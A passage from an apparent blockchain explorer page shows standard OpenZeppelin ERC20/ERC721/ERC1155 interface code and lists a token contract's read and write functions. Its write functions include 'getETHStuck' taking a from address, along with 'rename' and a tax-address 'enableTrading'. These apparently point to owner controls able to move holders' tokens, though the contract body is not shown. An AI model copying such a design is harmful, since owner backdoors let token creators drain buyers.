    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}
IERC20Metadata.sol 26 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;

import {IERC20} from "../IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
IERC20.sol 79 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 9 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x07980cb9
address _addressTax
getETHStuck 0x61b0fba6
address from
address to
uint256 amount
removeLimit 0x62256589
No parameters
rename 0x3bccb07e
string _newName
string _newSymbol
address user
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address